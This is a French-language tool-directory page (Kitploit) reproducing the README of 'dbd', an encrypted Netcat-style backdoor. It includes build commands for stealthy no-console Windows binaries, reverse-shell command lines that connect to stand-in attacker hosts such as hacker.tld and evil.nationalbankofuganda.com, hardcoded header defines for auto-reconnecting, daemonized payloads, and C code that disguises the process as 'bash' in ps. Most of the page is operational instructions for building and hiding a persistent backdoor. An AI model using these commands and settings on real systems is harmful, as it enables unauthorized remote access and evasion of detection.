Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/gitdurandal/dbd
Outils de Chiffrement/DéchiffrementExploitationPost-ExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubgitdurandal/dbd

dbd

Backdoor de Durandal

15238il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôtSite web

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd est distribué sous licence GNU GPL #Binaire Mipsbe ajouté par Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###SYNOPSIS

dbd est un clone de Netcat, conçu pour être portable et offrir un chiffrement robuste. Il fonctionne sur les systèmes d'exploitation de type Unix et sous Microsoft Win32. dbd propose un chiffrement AES-CBC-128 + HMAC-SHA1 (par Christophe Devine), l'exécution de programmes (option -e), le choix du port source, la reconnexion continue avec délai, ainsi que quelques autres fonctionnalités pratiques. dbd ne prend en charge que les communications TCP/IP. Le code source et les binaires sont distribués sous licence GNU General Public License.

###COMPILATION

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

Pour compiler dbd sous un système d'exploitation de type Unix, vous avez besoin de gcc et des outils de développement appropriés. Pour Linux, FreeBSD, NetBSD, OpenBSD (et éventuellement d'autres), tapez :

root@kitploit:~
$ make unix

Pour SunOS/Solaris, tapez :

root@kitploit:~
$ make sunos

Pour compiler dbd sous Microsoft Windows (NT/2K/XP/2K3), vous avez besoin de MinGW+MSYS, ou de Cygwin avec le support de développement complet (le MinGW gcc de Cygwin). Pour compiler une application console Win32 native de dbd sous Cygwin, tapez :

root@kitploit:~
$ make win32

ou, sous MSYS :

root@kitploit:~
$ make mingw

Pour compiler une application sans console (« WinMain ») sous Cygwin, tapez :

root@kitploit:~
$ make win32bg

ou, sous MSYS :

root@kitploit:~
$ make mingwbg

Pour compiler une application console spécifique à Cygwin, tapez :

root@kitploit:~
$make cygwin

Vous souhaiterez peut-être modifier le comportement par défaut de dbd. L'une des choses les plus importantes est de remplacer le secret partagé par défaut par votre propre phrase de passe. Modifiez dbd.h et remplacez-le par vos préférences. Vous pouvez, par exemple, vouloir coder en dur un hôte + un port auquel se connecter si dbd est lancé sans options. Des exemples complets sont fournis dans dbd.h.

###EXEMPLES D'UTILISATION

Avec un peu d'imagination, dbd peut être utilisé pour de nombreuses choses :

Utilisez dbd pour transférer des fichiers en toute sécurité entre deux réseaux :

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

ou depuis win32 :

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

Utilisez dbd comme un chat simple (mais sécurisé) :

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

Utilisez dbd comme porte dérobée (backdoor) pour les tests d'intrusion :

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

ou sous les OS de type Unix :

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###OPTIONS CODÉES EN DUR

En plus d'utiliser les options de la ligne de commande, vous pouvez coder des variables en dur en utilisant des #define dans dbd.h. Pour ce faire, définissez les variables que vous souhaitez utiliser comme constantes nommées et compilez normalement. Par exemple, si vous vouliez coder en dur un exécutable dbd qui se reconnecterait à « evil.nationalbankofuganda.com » sur le port 995 et exécuterait « /bin/bash », vous pourriez lancer :

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

ou, en utilisant des #define codés en dur, vous pourriez modifier dbd.h :

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
Vous pouvez également définir les options de résurrection (respawn) et de furtivité pour aider à maintenir votre connexion :
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

Cela configurera la connexion pour qu'elle se démonise (« melt » dans le jargon des malwares), n'envoie jamais de sortie vers STDOUT et tente de relancer la connexion toutes les 15 minutes si elle venait à se déconnecter du listener.

###TECHNOLOGIE DE CAMOUFLAGE ROMULIENNE

Entrons maintenant dans le vif du sujet. Une fois que vous êtes un maître dans l'art de coder en dur des options dans votre porte dérobée, vous pouvez utiliser ce qui est sans doute la constante nommée la plus amusante à notre disposition : CLOAK. Pour ce faire, définissez simplement la valeur :

root@kitploit:~
#define CLOAK 1

NOTE : cela ne fonctionne actuellement que sur les compilations *nix. À terme, je prévois d'ajouter la migration/le hooking de processus Win32 afin que ces cibles puissent également recevoir un peu d'amour romulien.

Pour les environnements *nix, cette option nettoie argv[0] et le remplace par la chaîne « bash\0 ». Elle nettoie également toutes les autres argv[] (ce serait ridicule si ps renvoyait « bash -e /bin/bash someremotehost.com 443 », n'est-ce pas ?) J'espère qu'il va sans dire que vous NE POUVEZ PAS UTILISER CETTE OPTION À MOINS DE CODER EN DUR VOS VARIABLES DANS DBD.H. En outre, si vous testez cela sur votre propre système, ce sera amusant de choisir le bon pid à tuer. ;)

N'hésitez pas à utiliser ce nettoyeur dans tout ce sur quoi vous travaillez :

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###AVERTISSEMENT

Ne transmettez pas d'entrée mise en cache (un fichier contenant des commandes ou similaire) à une session « dbd -e » en écoute. « dbd -e » utilise des tubes (pipes) pour transmettre les données entre le programme exécuté et dbd. Les tubes sont utilisés (au lieu de simples descripteurs de fichiers dupliqués en pass-through) en raison du chiffrement entre les tubes et la socket. Afin d'empêcher l'extrémité d'écriture de l'un des tubes de bloquer tout le processus, je l'ai transformée en descripteur non bloquant. Il y a un risque que, lorsqu'une trop grande quantité d'entrée est transmise d'un coup au programme -e, elle soit tronquée (coupée), car le tampon du tube (dans l'OS) ne peut pas contenir toutes les données. Ce problème peut être résolu en rendant dbd multi-threadé par exemple, mais j'éviterai cela le plus longtemps possible pour des raisons de compatibilité.

##COMPILATION CROISÉE

Étant donné que dbd a été conçu pour interopérer avec d'autres outils/frameworks, make permet désormais la compilation croisée win32 sur les systèmes Linux disposant de la chaîne d'outils mingw32-gcc. Ces options sont presque identiques à leurs équivalents natifs Windows, avec l'ajout de « -cross » après la compilation choisie. Exemple :

root@kitploit:~
$ make mingw-cross

fera la même chose sur un système Linux que

root@kitploit:~
$ make mingw

ferait sur un système win32 avec mingw/msys installé.

Actuellement, toutes les options de compilation croisée sont conçues pour Kali Linux, mais devraient fonctionner sur n'importe quel *nix avec un peu d'amour. Si vous avez mingw32-gcc installé et que make ne compile pas, modifiez la variable WCC en haut du Makefile et indiquez le chemin vers votre binaire mingw32-gcc.

À partir de dbd-1.5, vous pouvez utiliser n'importe quelle chaîne d'outils de compilation croisée pour compiler dbd en définissant le préfixe de la chaîne d'outils comme CROSS_COMPILE. Par exemple, compiler une version arm est aussi simple que :

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##SORCELLERIE AVANCÉE

Si vous souhaitez intégrer dbd à un framework d'exploitation, vous pouvez écrire un module qui génère un dbd.h personnalisé avec des options de configuration spécifiques à votre cible. Tout ce qui n'est pas explicitement #defined dans ce fichier utilisera quand même les valeurs par défaut, vous n'avez donc pas besoin de tout écrire dans l'en-tête. Exemple : supprimez le fichier dbd.h et remplacez-le par :

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

appelez ensuite make pour construire une charge utile (payload) à connexion automatique avec camouflage et résurrection, qui se reconnecte à un agent dbd en écoute sur evil.nationalbankofuganda.com lancé avec les options :

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

Une autre astuce avancée consiste à compiler dbd avec dietlibc ou uClibc. Pour compiler un agent dbd linux avec dietlibc, utilisez :

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

Faites attention à l'espace après le s dans la chaîne. Cela permet au Makefile d'ajouter gcc avec les CFLAGS et LDFLAGS standard afin que votre agent se compile correctement. L'avantage d'utiliser dietlibc est qu'il produit un exécutable 100 % statique très petit pour l'environnement cible (environ 70K pour un agent dbd linux avant compression, contre les 700K+ standard avec glibc et gcc -static). Utiliser uClibc est encore plus simple, puisqu'il suffit de définir le préfixe de compilation croisée de votre chaîne d'outils dans CROSS_COMPILE.

##LICENCE
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]

Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier selon les termes de la GNU General Public License telle que publiée par la Free Software Foundation ; soit la version 2 de la Licence, soit (à votre choix) toute version ultérieure.

Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de QUALITÉ MARCHANDE ou d'ADÉQUATION À UN USAGE PARTICULIER. Consultez la GNU General Public License pour plus de détails.

Vous devriez avoir reçu une copie de la GNU General Public License avec ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Consultez le fichier COPYING pour plus d'informations.

L'implémentation AES-CBC-128 + HMAC-SHA1 de dbd est Copyright (C) Christophe Devine [email protected] et est distribuée sous la GNU General Public License (GPL).

Certains codes (pour doexec_win32.h) sont dérivés de doexec.c du port Win32 de Netcat (C) Weld Pond et hobbit. Des parties de doexec.c sont Copyright (C) 1994 Nathaniel W. Mishkin (le code de doexec.c était à l'origine dérivé de rlogind.exe).

La version originale de Netcat a été écrite par hobbit [email protected]. La version NT a été réalisée par Weld Pond [email protected].


(C) Kyle Barnthouse [email protected] Consultant en sécurité
gitbrew.org
Hephaestus Security

Télécharger l’outil